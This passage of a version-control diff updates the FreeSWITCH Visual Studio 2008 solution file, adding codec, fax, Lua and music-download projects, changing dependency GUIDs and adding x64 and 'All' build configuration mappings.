+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Release|x64.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Release|x64.Build.0 = All|Win32
+		{1F0A8A77-E661-418F-BB92-82172AE43803}.All|Win32.ActiveCfg = Release|Win32
+		{1F0A8A77-E661-418F-BB92-82172AE43803}.All|x64.ActiveCfg = Release|Win32
+		{1F0A8A77-E661-418F-BB92-82172AE43803}.Debug|Win32.ActiveCfg = Debug|Win32
+		{1F0A8A77-E661-418F-BB92-82172AE43803}.Debug|x64.ActiveCfg = Debug|Win32
+		{1F0A8A77-E661-418F-BB92-82172AE43803}.Release|Win32.ActiveCfg = Release|Win32
+		{1F0A8A77-E661-418F-BB92-82172AE43803}.Release|x64.ActiveCfg = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.All|Win32.ActiveCfg = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.All|Win32.Build.0 = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.All|x64.ActiveCfg = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.All|x64.Build.0 = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Debug|Win32.ActiveCfg = Debug|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Debug|Win32.Build.0 = Debug|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Debug|x64.ActiveCfg = Debug|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Debug|x64.Build.0 = Debug|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Release|Win32.ActiveCfg = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Release|Win32.Build.0 = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Release|x64.ActiveCfg = Release|Win32
+		{4F5C9D55-98EF-4256-8311-32D7BD360406}.Release|x64.Build.0 = Release|Win32
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400}.All|Win32.ActiveCfg = Release|Win32
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400}.All|x64.ActiveCfg = Release|Win32
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400}.Debug|Win32.ActiveCfg = Debug|Win32
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400}.Debug|x64.ActiveCfg = Debug|Win32
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400}.Release|Win32.ActiveCfg = Release|Win32
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400}.Release|x64.ActiveCfg = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.All|Win32.ActiveCfg = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.All|Win32.Build.0 = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.All|x64.ActiveCfg = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.All|x64.Build.0 = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Debug|Win32.ActiveCfg = Debug|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Debug|Win32.Build.0 = Debug|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Debug|x64.ActiveCfg = Debug|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Debug|x64.Build.0 = Debug|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Release|Win32.ActiveCfg = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Release|Win32.Build.0 = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Release|x64.ActiveCfg = Release|Win32
+		{D1ABE208-6442-4FB4-9AAD-1677E41BC870}.Release|x64.Build.0 = Release|Win32
+		{BA599D0A-4310-4505-91DA-6A6447B3E289}.All|Win32.ActiveCfg = Release|Win32
+		{BA599D0A-4310-4505-91DA-6A6447B3E289}.All|x64.ActiveCfg = Release|Win32
+		{BA599D0A-4310-4505-91DA-6A6447B3E289}.Debug|Win32.ActiveCfg = Debug|Win32
+		{BA599D0A-4310-4505-91DA-6A6447B3E289}.Debug|x64.ActiveCfg = Debug|Win32
+		{BA599D0A-4310-4505-91DA-6A6447B3E289}.Release|Win32.ActiveCfg = Release|Win32
+		{BA599D0A-4310-4505-91DA-6A6447B3E289}.Release|x64.ActiveCfg = Release|Win32
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}.All|Win32.ActiveCfg = Release|Win32
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}.All|x64.ActiveCfg = Release|Win32
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}.Debug|Win32.ActiveCfg = Debug|Win32
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}.Debug|x64.ActiveCfg = Debug|Win32
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}.Release|Win32.ActiveCfg = Release|Win32
+		{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}.Release|x64.ActiveCfg = Release|Win32
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.All|Win32.ActiveCfg = Release|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.All|x64.ActiveCfg = Release|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.All|x64.Build.0 = Release|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Debug|Win32.ActiveCfg = Debug|Win32
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Debug|Win32.Build.0 = Debug|Win32
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Debug|x64.ActiveCfg = Debug|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Debug|x64.Build.0 = Debug|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Release|Win32.ActiveCfg = Release|Win32
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Release|Win32.Build.0 = Release|Win32
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Release|x64.ActiveCfg = Release|x64
+		{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}.Release|x64.Build.0 = Release|x64
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.All|Win32.ActiveCfg = Release|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.All|Win32.Build.0 = Release|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.All|x64.ActiveCfg = Release|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.Debug|Win32.ActiveCfg = Debug|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.Debug|Win32.Build.0 = Debug|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.Debug|x64.ActiveCfg = Debug|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.Release|Win32.ActiveCfg = Release|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.Release|Win32.Build.0 = Release|Win32
+		{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}.Release|x64.ActiveCfg = Release|Win32
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE

Modified: freeswitch/branches/seven/Freeswitch.2008.sln (14471 => 14472)


--- freeswitch/branches/seven/Freeswitch.2008.sln	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/Freeswitch.2008.sln	2009-08-09 18:53:22 UTC (rev 14472)
@@ -382,10 +382,10 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FreeSwitchCoreLib", "w32\Library\FreeSwitchCore.2008.vcproj", "{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}"
 	ProjectSection(ProjectDependencies) = postProject
-		{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761} = {50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9} = {8D04B550-D240-4A44-8A18-35DA3F7038D9}
 		{89385C74-5860-4174-9CAF-A39E7C48909C} = {89385C74-5860-4174-9CAF-A39E7C48909C}
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3} = {F057DA7F-79E5-4B00-845C-EF446EF055E3}
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {03207781-0D1C-4DB3-A71D-45C608F28DBD}
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750} = {EEF031CB-FED8-451E-A471-91EC8D4F6750}
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3} = {6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}
@@ -418,8 +418,9 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_speex", "src\mod\codecs\mod_speex\mod_speex.2008.vcproj", "{5580D60E-0F77-4716-9CD4-B8E5986FA375}"
 	ProjectSection(ProjectDependencies) = postProject
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4} = {E972C52F-9E85-4D65-B19C-031E511E9DB4}
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{1C469CDD-A3AF-4A94-A592-B2CF12F2D918} = {1C469CDD-A3AF-4A94-A592-B2CF12F2D918}
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD} = {03207781-0D1C-4DB3-A71D-45C608F28DBD}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "docs", "docs\docs.2008.vcproj", "{1A1FF289-4FD6-4285-A422-D31DD67A4723}"
@@ -472,8 +473,8 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_ilbc", "src\mod\codecs\mod_ilbc\mod_ilbc.2008.vcproj", "{D3EC0AFF-76FC-4210-A825-9A17410660A3}"
 	ProjectSection(ProjectDependencies) = postProject
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD} = {9A5DDF08-C88C-4A35-B7F6-D605228446BD}
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8} = {989BB874-7AF1-44CB-8E5C-CC8113D267E8}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_dingaling", "src\mod\endpoints\mod_dingaling\mod_dingaling.2008.vcproj", "{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}"
@@ -529,8 +530,6 @@
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 	EndProjectSection
 EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libilbc", "libs\codec\ilbc\libilbc.2008.vcproj", "{989BB874-7AF1-44CB-8E5C-CC8113D267E8}"
-EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libdingaling", "libs\libdingaling\libdingaling.2008.vcproj", "{1906D736-08BD-4EE1-924F-B536249B9A54}"
 	ProjectSection(ProjectDependencies) = postProject
 		{F057DA7F-79E5-4B00-845C-EF446EF055E3} = {F057DA7F-79E5-4B00-845C-EF446EF055E3}
@@ -548,8 +547,6 @@
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libpcre Generate pcre_chartables.c", "libs\win32\pcre\pcre_chartables.c.2008.vcproj", "{1CED5987-A529-46DC-B30F-870D85FF9C94}"
 EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libresample", "libs\win32\libresample\libresample.2008.vcproj", "{50AD0E28-B8D7-4FCC-8FC3-599F6AC69761}"
-EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libapr", "libs\win32\apr\libapr.2008.vcproj", "{F6C55D93-B927-4483-BB69-15AEF3DD2DFF}"
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libaprutil", "libs\win32\apr-util\libaprutil.2008.vcproj", "{F057DA7F-79E5-4B00-845C-EF446EF055E3}"
@@ -557,8 +554,6 @@
 		{F6C55D93-B927-4483-BB69-15AEF3DD2DFF} = {F6C55D93-B927-4483-BB69-15AEF3DD2DFF}
 	EndProjectSection
 EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeex", "libs\win32\speex\libspeex.2008.vcproj", "{1C469CDD-A3AF-4A94-A592-B2CF12F2D918}"
-EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "iksemel", "libs\win32\iksemel\iksemel.2008.vcproj", "{E727E8F6-935D-46FE-8B0E-37834748A0E3}"
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Download HOWL", "libs\win32\Download HOWL.2008.vcproj", "{5927104D-C14C-4AC8-925C-4AB681762E75}"
@@ -786,6 +781,7 @@
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_lua", "src\mod\languages\mod_lua\mod_lua.2008.vcproj", "{7B077E7F-1BE7-4291-AB86-55E527B25CAC}"
 	ProjectSection(ProjectDependencies) = postProject
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{D0B36172-CD76-454A-9B89-990025266C2A} = {D0B36172-CD76-454A-9B89-990025266C2A}
 	EndProjectSection
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "abyss", "libs\xmlrpc-c\Windows\abyss.2008.vcproj", "{D2396DD7-7D38-473A-ABB7-6F96D65AE1B9}"
@@ -943,715 +939,1574 @@
 		{CF405366-9558-4AE8-90EF-5E21B51CCB4E} = {CF405366-9558-4AE8-90EF-5E21B51CCB4E}
 	EndProjectSection
 EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_easyroute", "src\mod\applications\mod_easyroute\mod_easyroute.2008.vcproj", "{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_lcr", "src\mod\applications\mod_lcr\mod_lcr.2008.vcproj", "{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libtiff", "libs\spandsp\src\libtiff.2008.vcproj", "{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspandsp", "libs\spandsp\src\libspandsp.2008.vcproj", "{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}"
+	ProjectSection(ProjectDependencies) = postProject
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838} = {329A6FA0-0FCC-4435-A950-E670AEFA9838}
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330} = {DEE932AB-5911-4700-9EEB-8C7090A0A330}
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014} = {401A40CD-5DB4-4E34-AC68-FA99E9FAC014}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_fax", "src\mod\applications\mod_fax\mod_fax.2008.vcproj", "{7877EFC8-4807-484B-B573-D7B7FD058FAA}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5} = {1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014} = {401A40CD-5DB4-4E34-AC68-FA99E9FAC014}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeex", "libs\speex\win32\VS2008\libspeex\libspeex.vcproj", "{E972C52F-9E85-4D65-B19C-031E511E9DB4}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libspeexdsp", "libs\speex\win32\VS2008\libspeexdsp\libspeexdsp.vcproj", "{03207781-0D1C-4DB3-A71D-45C608F28DBD}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "libilbc", "libs\ilbc\libilbc.2008.vcproj", "{9A5DDF08-C88C-4A35-B7F6-D605228446BD}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lua51", "src\mod\languages\mod_lua\lua\lua.2008.vcproj", "{D0B36172-CD76-454A-9B89-990025266C2A}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_opal", "src\mod\endpoints\mod_opal\mod_opal_2008.vcproj", "{05C9FB27-480E-4D53-B3B7-6338E2526666}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "make_at_dictionary", "libs\spandsp\src\msvc\make_at_dictionary.2008.vcproj", "{DEE932AB-5911-4700-9EEB-8C7090A0A330}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "make_modem_filter", "libs\spandsp\src\msvc\make_modem_filter.2008.vcproj", "{329A6FA0-0FCC-4435-A950-E670AEFA9838}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_skel", "src\mod\applications\mod_skel\mod_skel.2008.vcproj", "{11C9BC3D-45E9-46E3-BE84-B8CEE4685E39}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_skypiax", "src\mod\endpoints\mod_skypiax\mod_skypiax.2008.vcproj", "{C6E78A4C-DB1E-47F4-9B63-4DC27D86343F}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Download 32khz music", "libs\win32\Dowload 32khz music.2008.vcproj", "{1F0A8A77-E661-418F-BB92-82172AE43803}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Download 8khz music", "libs\win32\Download 8khz music.2008.vcproj", "{4F5C9D55-98EF-4256-8311-32D7BD360406}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Download 16khz music", "libs\win32\Download 16khz music.2008.vcproj", "{E10571C4-E7F4-4608-B5F2-B22E7EB95400}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "8khz music", "libs\win32\Sound_Files\8khzmusic.2008.vcproj", "{D1ABE208-6442-4FB4-9AAD-1677E41BC870}"
+	ProjectSection(ProjectDependencies) = postProject
+		{4F5C9D55-98EF-4256-8311-32D7BD360406} = {4F5C9D55-98EF-4256-8311-32D7BD360406}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "16khz music", "libs\win32\Sound_Files\16khzmusic.2008.vcproj", "{BA599D0A-4310-4505-91DA-6A6447B3E289}"
+	ProjectSection(ProjectDependencies) = postProject
+		{E10571C4-E7F4-4608-B5F2-B22E7EB95400} = {E10571C4-E7F4-4608-B5F2-B22E7EB95400}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "32khz music", "libs\win32\Sound_Files\32khzmusic.2008.vcproj", "{EED13FC7-4F81-4E6F-93DB-CDB7DF5CF959}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1F0A8A77-E661-418F-BB92-82172AE43803} = {1F0A8A77-E661-418F-BB92-82172AE43803}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_file_string", "src\mod\formats\mod_file_string\mod_file_string.2008.vcproj", "{70564D74-199A-4452-9C60-19ED5F242F0D}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_nibblebill", "src\mod\applications\mod_nibblebill\mod_nibblebill.2008.vcproj", "{3C977801-FE88-48F2-83D3-FA2EBFF6688E}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mod_say_ru", "src\mod\say\mod_say_ru\mod_say_ru.2008.vcproj", "{0382E8FD-CFDC-41C0-8B03-792C7C84FC31}"
+	ProjectSection(ProjectDependencies) = postProject
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF} = {202D7A4E-760D-4D0E-AFA1-D7459CED30FF}
+	EndProjectSection
+EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		All|Win32 = All|Win32
+		All|x64 = All|x64
 		Debug|Win32 = Debug|Win32
 		Debug|x64 = Debug|x64
 		Release|Win32 = Release|Win32
 		Release|x64 = Release|x64
 	EndGlobalSection
 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.All|Win32.ActiveCfg = Release|x64
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.All|x64.ActiveCfg = Release|x64
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.All|x64.Build.0 = Release|x64
 		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Debug|Win32.Build.0 = Debug|Win32
-		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Debug|x64.ActiveCfg = Debug|Win32
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Debug|x64.ActiveCfg = Debug|x64
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Debug|x64.Build.0 = Debug|x64
 		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Release|Win32.ActiveCfg = Release|Win32
 		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Release|Win32.Build.0 = Release|Win32
-		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Release|x64.ActiveCfg = Release|Win32
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Release|x64.ActiveCfg = Release|x64
+		{1AF3A893-F7BE-43DD-B697-8AB2397C0D67}.Release|x64.Build.0 = Release|x64
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.All|Win32.ActiveCfg = Release|x64
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.All|x64.ActiveCfg = Release|x64
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.All|x64.Build.0 = Release|x64
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Debug|Win32.ActiveCfg = Debug|Win32
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Debug|Win32.Build.0 = Debug|Win32
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Debug|x64.ActiveCfg = Debug|Win32
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Debug|x64.ActiveCfg = Debug|x64
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Debug|x64.Build.0 = Debug|x64
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Release|Win32.ActiveCfg = Release|Win32
 		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Release|Win32.Build.0 = Release|Win32
-		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Release|x64.ActiveCfg = Release|Win32
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Release|x64.ActiveCfg = Release|x64
+		{202D7A4E-760D-4D0E-AFA1-D7459CED30FF}.Release|x64.Build.0 = Release|x64
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.All|Win32.ActiveCfg = Release Passthrough|x64
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.All|x64.ActiveCfg = Release Passthrough|x64
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.All|x64.Build.0 = Release Passthrough|x64
 		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Debug|Win32.ActiveCfg = Debug Passthrough|Win32
 		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Debug|Win32.Build.0 = Debug Passthrough|Win32
-		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Debug|x64.ActiveCfg = Debug|Win32
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Debug|x64.ActiveCfg = Debug Passthrough|x64
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Debug|x64.Build.0 = Debug Passthrough|x64
 		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Release|Win32.ActiveCfg = Release Passthrough|Win32
 		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Release|Win32.Build.0 = Release Passthrough|Win32
-		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Release|x64.ActiveCfg = Release|Win32
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Release|x64.ActiveCfg = Release Passthrough|x64
+		{1D95CD95-0DE2-48C3-AC23-D5C7D1C9C0F0}.Release|x64.Build.0 = Release Passthrough|x64
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.All|Win32.ActiveCfg = Release|x64
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.All|x64.ActiveCfg = Release|x64
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.All|x64.Build.0 = Release|x64
 		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Debug|Win32.ActiveCfg = Debug|Win32
 		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Debug|Win32.Build.0 = Debug|Win32
-		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Debug|x64.ActiveCfg = Debug|Win32
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Debug|x64.ActiveCfg = Debug|x64
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Debug|x64.Build.0 = Debug|x64
 		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Release|Win32.ActiveCfg = Release|Win32
 		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Release|Win32.Build.0 = Release|Win32
-		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Release|x64.ActiveCfg = Release|Win32
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Release|x64.ActiveCfg = Release|x64
+		{AFAC0568-7548-42D5-9F6A-8D3400A1E4F6}.Release|x64.Build.0 = Release|x64
+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.All|Win32.ActiveCfg = Release|x64
+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.All|x64.ActiveCfg = Release|x64
+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.All|x64.Build.0 = Release|x64
 		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Debug|Win32.ActiveCfg = Debug|Win32
 		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Debug|Win32.Build.0 = Debug|Win32
-		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Debug|x64.ActiveCfg = Debug|Win32
+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Debug|x64.ActiveCfg = Debug|x64
+		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Debug|x64.Build.0 = Debug|x64
 		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Release|Win32.ActiveCfg = Release|Win32
 		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Release|Win32.Build.0 = Release|Win32
-		{3A5B9131-F20C-4A85-9447-6C1610941CEE}.Release|x64.ActiveCfg = Release|Win32
